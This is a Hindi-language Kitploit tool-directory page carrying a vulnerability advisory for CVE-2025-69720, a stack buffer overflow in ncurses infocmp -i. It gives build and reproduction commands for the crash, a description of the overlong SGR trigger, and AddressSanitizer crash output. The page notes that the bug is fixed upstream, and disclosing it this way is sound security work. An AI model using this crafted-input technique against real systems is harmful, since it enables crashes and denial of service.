Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-69720 — CVE-2025-69720 के लिए सलाह: GNU ncurses infocmp में स्टैक-आधारित बफर ओवरफ्लो (CWE-121) | Kitploit
उपकरण/GitHubGitHub/cao-wuhui/cve-2025-69720
स्थैतिक विश्लेषणभेद्यता विश्लेषणशोषणफज़िंगबाइनरी विश्लेषणलर्निंग और शिक्षा
GitHubcao-wuhui/cve-2025-69720

CVE-2025-69720

CVE-2025-69720 के लिए सलाह: GNU ncurses infocmp में स्टैक-आधारित बफर ओवरफ्लो (CWE-121)

रिपॉजिटरी देखें
2506 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
वेबसाइट
साझा करें

CVE-2025-69720: ncurses infocmp -i स्टैक बफ़र ओवरफ़्लो (CWE-121)

रिपोर्टर: Yixuan Cao (Shenzhen University), [email protected]

वातावरण

  • होस्ट: openEuler 22.03 LTS (Linux aarch64)
  • टूलचेन: सिस्टम clang 12.0.1 + AddressSanitizer
  • स्रोत: ncurses-6.4 और ncurses-6.5 (पैच 20251213 से पहले)

सारांश

infocmp -i एक terminfo प्रविष्टि में पाए जाने वाले CSI अनुक्रमों का निरीक्षण करने के लिए analyze_string() (progs/infocmp.c) को बुलाता है। यह रूटीन उम्मीदवार सबस्ट्रिंग को एक निश्चित-आकार के स्टैक बफर (buf2, 4096 बाइट्स) में कॉपी करता है। क्योंकि len = strlen(cp) की जाँच 4096 के विरुद्ध नहीं की जाती है, एक दुर्भावनापूर्ण रूप से लंबी CSI पैरामीटर सूची (जैसे, sgr=\E[1234567;…;m लगभग 800 पैरामीटर के साथ) buf2 को ओवरफ़्लो कर देती है, जिससे स्टैक स्मैश होता है। वही PoC 6.4 और 6.5 पर 20251213 पैच से पहले पुन: उत्पन्न होता है (नीचे ASan आउटपुट देखें)। 6.4 से पहले के संस्करणों का परीक्षण नहीं किया गया।

ncurses समाचार (2025/12/13) ने बग की पुष्टि की है और इसे ठीक किया है, और एक आधिकारिक पैच उपलब्ध है।

प्रभाव

  • एक तैयार की गई terminfo प्रविष्टि पर infocmp -i चलाने से टूल क्रैश हो सकता है (स्टैक-बफ़र-ओवरफ़्लो), अर्थात उस आह्वान के लिए एक स्थानीय सेवा अस्वीकार।
  • ओवरफ़्लो progs/infocmp.c (analyze_string) में तब होता है जब len = strlen(cp) का उपयोग buf2[MAX_TERMINFO_LENGTH] (4096) में कॉपी करने के लिए len की जाँच किए बिना किया जाता है, और उसके बाद buf2[len] = '\0' होता है।
  • -i विकल्प init/reset-संबंधित क्षमताओं (is1/is2/is3/rs1/rs2/rs3/smcup/rmcup/smkx/rmkx) के लिए एक विशेष विश्लेषण पथ है; यह -i के बिना सामान्य infocmp उपयोग को प्रभावित नहीं करता है।
  • इसमें ठीक किया गया: ncurses 6.5 पैच 20251213 (ncurses-6.5-20251213.patch.gz) के साथ।

पुनरुत्पादन के चरण (ncurses-6.4 को उदाहरण के रूप में लें)

  1. ASan के साथ ncurses-6.4 के स्रोत कोड को तैयार और संकलित करें:
    # Download and extract the source code of ncurses-6.4
    # (assume it lives in ~/ncurses-6.4, i.e., /home/<user>/ncurses-6.4)
    cd ~
    wget https://invisible-mirror.net/archives/ncurses/ncurses-6.4.tar.gz
    tar xvf ncurses-6.4.tar.gz
    cd ncurses-6.4
    
    # Configure with ASan
    CC=clang \
    CFLAGS='-O1 -g -fsanitize=address' \
    LDFLAGS='-fsanitize=address' \
    ./configure --enable-widec   # keep wide-char support so the long SGR survives
    
    # Compile infocmp/tic/etc.
    make -j$(nproc)
    
  2. PoC terminfo स्रोत (मान लें कि फ़ाइल ~/evil_sgr.ti पर है) को एक अस्थायी डेटाबेस में संकलित करें:
    ~/ncurses-6.4/progs/tic -x -o /tmp/evilti ~/evil_sgr.ti
    
  3. ASan-सक्षम infocmp के साथ ओवरफ़्लो को ट्रिगर करें:
    TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
    
    (6.5 के लिए, संबंधित ~/ncurses-6.5/progs/... पथों का उपयोग करें।)

ASan आउटपुट

ncurses-6.4 के लिए:

[yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
=================================================================
==3848299==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffcfa5e240 at pc 0x000000443344 bp 0xffffcfa5c9b0 sp 0xffffcfa5ca08
WRITE of size 6402 at 0xffffcfa5e240 thread T0
    #0 0x443340 in strncpy (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340)
    #1 0x4eee78 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:850:3
    #2 0x4ecebc in main /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:1881:6
    #3 0xffffab9d0ffc  (/usr/lib64/libc.so.6+0x2affc)
    #4 0xffffab9d10d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
    #5 0x42936c in _start (/home/yixuan/ncurses-6.4/progs/infocmp+0x42936c)

Address 0xffffcfa5e240 is located in stack of thread T0 at offset 4128 in frame
    #0 0x4eebe0 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:818

  This frame has 2 object(s):
    [32, 4128) 'buf2' (line 819)
    [4256, 8352) 'buf3' (line 834) <== Memory access at offset 4128 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340) in strncpy
Shadow bytes around the buggy address:
  0x200ff9f4bbf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ff9f4bc40: 00 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2
  0x200ff9f4bc50: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
  0x200ff9f4bc60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x200ff9f4bc90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3848299==ABORTING

और ncurses-6.5 के लिए:

[yixuan@Taishan200 ~]$  TERMINFO=/tmp/evilti ~/ncurses-6.5/progs/infocmp -i evil_sgr
=================================================================
==3863888==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfffff7af5380 at pc 0x000000443544 bp 0xfffff7af3af0 sp 0xfffff7af3b48
WRITE of size 6402 at 0xfffff7af5380 thread T0
    #0 0x443540 in strncpy (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540)
    #1 0x4ef094 in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:874:3
    #2 0x4ed0d8 in main /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:1913:6
    #3 0xffff811baffc  (/usr/lib64/libc.so.6+0x2affc)
    #4 0xffff811bb0d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
    #5 0x42956c in _start (/home/yixuan/ncurses-6.5/progs/infocmp+0x42956c)

Address 0xfffff7af5380 is located in stack of thread T0 at offset 4128 in frame
    #0 0x4eedfc in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:842
टूल डाउनलोड करें